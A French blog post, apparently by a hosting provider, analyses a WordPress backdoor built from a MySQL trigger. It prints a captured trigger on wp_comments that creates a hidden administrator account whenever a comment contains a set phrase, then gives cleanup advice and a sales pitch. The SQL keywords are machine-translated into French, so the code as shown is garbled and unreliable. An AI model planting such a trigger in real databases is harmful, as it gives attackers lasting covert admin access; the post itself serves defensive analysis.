1 décembre 2022

Logiciels malveillants et porte dérobée sur WordPress à l'aide de TRIGGER MySQL

Comment les pirates gardent l'accès à notre installation WordPress en utilisant une porte dérobée MySQL

Au cours de l'année écoulée, on a constaté une augmentation des attaques de logiciels malveillants ciblant WordPress utilisant des déclencheurs SQL pour dissimuler des requêtes SQL malveillantes au sein de bases de données compromises . Ces requêtes insèrent un utilisateur disposant de privilèges d'administrateur dans la base de données infectée dès que la condition de déclenchement est remplie.

Ce qui rend la situation particulièrement problématique pour les propriétaires de sites web, c'est que la plupart des guides de nettoyage de logiciels malveillants se concentrent sur les fichiers et les données du site web contenus dans des tables de base de données spécifiques, telles que wp_users , wp_options et wp_posts.

Si vous utilisez un système de gestion de contenu (CMS) populaire sur votre site web (comme WordPress), il est probable qu'il utilise une base de données MySQL pour stocker des données importantes, telles que les paramètres du CMS et le contenu (par exemple, les articles WordPress). Cela signifie que toute action susceptible de modifier la base de données MySQL peut également causer de graves dommages à votre site web, comme l'injection de contenu malveillant ou même la suppression de son contenu.

Ce risque de sécurité est l'une des raisons pour lesquelles la base de données MySQL se voit attribuer un nom d'utilisateur et un mot de passe distincts (voir le fichier wp-config.php ) : cette fonctionnalité empêche toute personne d'interroger à distance la base de données MySQL sans les informations de connexion appropriées.

Étant donné que WordPress a accès à vos informations de connexion via wp-config.php , il peut lire et modifier la base de données définie dans le fichier de configuration.

Malheureusement, une fois qu'ils obtiennent un accès non authentifié, les attaquants peuvent souvent lire le fichier wp-config.php pour connaître les informations de connexion à la base de données du site web, informations que leur logiciel malveillant peut ensuite utiliser pour se connecter à la base de données et y apporter des modifications malveillantes.

Déclencheurs SQL

Un déclencheur SQL est une procédure stockée qui s'exécute automatiquement lorsque des modifications spécifiques sont apportées à la base de données.

Dans les bases de données, un déclencheur est une procédure qui s'exécute automatiquement lors d'un événement spécifique, comme la suppression d'un enregistrement dans une table . Cette technique permet de spécifier et de gérer des contraintes d'intégrité complexes. Les déclencheurs permettent aux utilisateurs de définir des contraintes d'intégrité plus sophistiquées, car un déclencheur est essentiellement une procédure PL/SQL (Oracle), Transact-SQL, etc.

Cette procédure est donc associée à une table et est automatiquement appelée par le moteur de base de données lorsqu'une modification (ou un événement) spécifique survient dans la table. Les modifications apportées à la table peuvent inclure des opérations d'insertion , de mise à jour et de suppression.

Bien qu'elles présentent de nombreuses applications utiles, nous avons également des preuves que les déclencheurs SQL sont utilisés par des attaquants pour maintenir un accès non autorisé après une compromission. Pour ce faire, les attaquants insèrent un déclencheur SQL dans la base de données d'un site web compromis, et lorsque certains critères sont remplis ou qu'un événement se produit, l'action malveillante stockée est exécutée.

Par exemple, nous avons trouvé ce déclencheur SQL de porte dérobée intéressant dans la table wp_comments de la base de données d'un site web infecté :

/*!50003 CRÉER*/ /*!50017 DÉFINISSEUR=`root_ext`@`%`*/ /*!50003 DÉCLENCHER `after_insert_comment` APRÈS INSERT SUR `mechanicalinnovativa`.`wp_comments` POUR CHAQUE LIGNE DÉBUT SI NEW.comment_content COMME '%Avez-vous des difficultés à obtenir des commentaires sur votre blog ?%' ALORS DÉFINIR @lastInsertWpUsersId = (SÉLECTIONNER MAX(id) DE `mechanicalinnovativa`.`wp_users`); DÉFINIR @nextWpUsersID = @lastInsertWpUsersId + 1; INSERT INTO `mechanicalinnovativa`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris'); INSERT INTO `mechanicalinnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); INSERT INTO `mechanicalinnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10'); END IF; END */;;

Ce déclencheur SQL crée un utilisateur administrateur malveillant à chaque fois qu'un nouveau commentaire contenant les mots clés « Avez-vous du mal à obtenir des commentaires sur votre blog ? » est soumis au site WordPress infecté.

Le déclencheur vérifie la colonne comment_content de la base de données wp_comments ; l’état du commentaire (approuvé ou en attente) est donc sans importance . Une fois le déclencheur SQL exécuté, il injecte un compte administrateur malveillant nommé wpadmin avec une date d’inscription falsifiée (2014-06-08) et une adresse e-mail de type wp-security@hotmail.com.

Conclusion et mesures d'atténuation

Lorsqu'un site web est compromis, vous pouvez être certain que les attaquants rechercheront toutes les informations d'identification de base de données présentes dans wp-config ou d'autres fichiers de configuration du CMS, et il peut être extrêmement difficile de déterminer si le pirate a collecté ces informations à un moment donné après l'infection.

En cas de compromission, il est impératif de mettre à jour les mots de passe de l'ensemble de votre environnement, y compris ceux de vos bases de données. Négliger cette étape après une attaque pourrait permettre à un pirate d'accéder à votre site et de le modifier, même après que vous pensiez l'avoir éradiqué.

Si vous doutez que votre site puisse avoir une porte dérobée de ce type, exportez simplement la base de données via un dump .sql et recherchez la chaîne TRIGGER dans le fichier exporté.

Évidemment, tous les TRIGGERs ne sont pas des portes dérobées, comme nous l'avons dit précédemment, les TRIGGERs sont des outils utiles et légitimes ; cependant, il est également vrai que l'utilisation de TRIGGER dans les installations WordPress est quelque chose de très rare et très inhabituel.

Les propriétaires de sites web compromis peuvent consulter notre service d'assistance pour nettoyer un site infecté et obtenir des instructions sur la marche à suivre. Si vous avez besoin d'aide, nous pouvons supprimer tout logiciel malveillant et porte dérobée et protéger votre site.

Vous avez des doutes ? Vous ne savez pas par où commencer ? Contactez-nous !

Nous avons toutes les réponses à vos questions pour vous aider à faire le bon choix.

Discute avec nous

Discutez directement avec notre support avant-vente.

0256569681

Contactez-nous par téléphone pendant les heures de bureau 9h30 - 19h30

Contactez-nous en ligne

Ouvrez une demande directement dans l'espace contact.

AVIS DE NON-RESPONSABILITÉ, Mentions légales et droits d'auteur. Red Hat, Inc. détient les droits sur Red Hat®, RHEL®, RedHat Linux® et CentOS® ; AlmaLinux™ est une marque commerciale de la AlmaLinux OS Foundation ; Rocky Linux® est une marque déposée de la Rocky Linux Foundation ; SUSE® est une marque déposée de SUSE LLC ; Canonical Ltd. détient les droits sur Ubuntu® ; Software in the Public Interest, Inc. détient les droits sur Debian® ; Linus Torvalds détient les droits sur Linux® ; FreeBSD® est une marque déposée de la Fondation FreeBSD ; NetBSD® est une marque déposée de la Fondation NetBSD ; OpenBSD® est une marque déposée de Theo de Raadt ; Oracle Corporation détient les droits sur Oracle®, MySQL®, MyRocks®, VirtualBox® et ZFS® ; Percona® est une marque déposée de Percona LLC ; MariaDB® est une marque déposée de MariaDB Corporation Ab ; PostgreSQL® est une marque déposée de PostgreSQL Global Development Group ; SQLite® est une marque déposée de Hipp, Wyrick & Company, Inc. ; KeyDB® est une marque déposée d'EQ Alpha Technology Ltd. ; Typesense® est une marque déposée de Typesense Inc. ; REDIS® est une marque déposée de Redis Labs Ltd ; F5 Networks, Inc. détient les droits sur NGINX® et NGINX Plus® ; Varnish® est une marque déposée de Varnish Software AB ; HAProxy® est une marque déposée de HAProxy Technologies LLC ; Traefik® est une marque déposée de Traefik Labs ; Envoy® est une marque déposée de CNCF ; Adobe Inc. détient les droits sur Magento® ; PrestaShop® est une marque déposée de PrestaShop SA ; OpenCart® est une marque déposée d'OpenCart Limited ; Automattic Inc. détient les droits sur WordPress®, WooCommerce® et JetPack® ; Open Source Matters, Inc. détient les droits sur Joomla® ; Dries Buytaert détient les droits sur Drupal® ; Shopify® est une marque déposée de Shopify Inc. ; BigCommerce® est une marque déposée de BigCommerce Pty. Ltd.; TYPO3® est une marque déposée de la TYPO3 Association; Ghost® est une marque déposée de la Ghost Foundation; Amazon Web Services, Inc. détient les droits sur AWS® et Amazon SES® ; Google LLC détient les droits sur Google Cloud™, Chrome™ et Google Kubernetes Engine™ ; Alibaba Cloud® est une marque déposée d'Alibaba Group Holding Limited ; DigitalOcean® est une marque déposée de DigitalOcean, LLC ; Linode® est une marque déposée de Linode, LLC ; Vultr® est une marque déposée de The Constant Company, LLC ; Akamai® est une marque déposée d'Akamai Technologies, Inc. ; Fastly® est une marque déposée de Fastly, Inc. ; Let's Encrypt® est une marque déposée d'Internet Security Research Group ; Microsoft Corporation détient les droits sur Microsoft®, Azure®, Windows®, Office® et Internet Explorer® ; Mozilla Foundation détient les droits sur Firefox® ; Apache® est une marque déposée de The Apache Software Foundation ; Apache Tomcat® est une marque déposée de The Apache Software Foundation ; PHP® est une marque déposée de PHP Group ; Docker® est une marque déposée de Docker, Inc. Kubernetes® est une marque déposée de The Linux Foundation ; OpenShift® est une marque déposée de Red Hat, Inc. ; Podman® est une marque déposée de Red Hat, Inc. ; Proxmox® est une marque déposée de Proxmox Server Solutions GmbH ; VMware® est une marque déposée de Broadcom Inc. ; CloudFlare® est une marque déposée de Cloudflare, Inc. ; NETSCOUT® est une marque déposée de NETSCOUT Systems Inc. ; ElasticSearch®, LogStash® et Kibana® sont des marques déposées d'Elastic NV ; Grafana® est une marque déposée de Grafana Labs ; Prometheus® est une marque déposée de The Linux Foundation ; Zabbix® est une marque déposée de Zabbix LLC ; Datadog® est une marque déposée de Datadog, Inc. ; Ceph® est une marque déposée de Red Hat, Inc. ; MinIO® est une marque déposée de MinIO, Inc. ; Mailgun® est une marque déposée de Mailgun Technologies, Inc. ; SendGrid® est une marque déposée de Twilio Inc. Postmark® est une marque déposée d'ActiveCampaign, LLC ; cPanel®, LLC détient les droits sur cPanel® ; Plesk® est une marque déposée de Plesk International GmbH ; Hetzner® est une marque déposée de Hetzner Online GmbH ; OVHcloud® est une marque déposée d'OVH Groupe SAS ; Terraform® est une marque déposée de HashiCorp, Inc. ; Ansible® est une marque déposée de Red Hat, Inc. ; cURL® est une marque déposée de Daniel Stenberg ; Facebook®, Inc. détient les droits sur Facebook®, Messenger® et Instagram®. Ce site n'est pas affilié, sponsorisé ou autrement associé à l'une des entités mentionnées ci-dessus et ne représente aucune de ces entités de quelque manière que ce soit. Tous les droits sur les marques et noms de produits mentionnés sont la propriété de leurs titulaires respectifs des droits d'auteur. Toutes les autres marques mentionnées sont la propriété de leurs titulaires respectifs. MANAGED SERVER® est une marque déposée européenne de MANAGED SERVER SRL, dont le siège social est situé Via Flavio Gioia, 6, 62012 Civitanova Marche (MC), Italie et le siège opérationnel Via Enzo Ferrari, 9, 62012 Civitanova Marche (MC), Italie.

JUSTE UN MOMENT !

Vous êtes-vous déjà demandé si votre hébergement était nul ?

Découvrez dès maintenant si votre hébergeur vous pénalise avec un site web lent digne des années 1990 ! Résultats immédiats.

Fermer le CTA
Retour en haut de page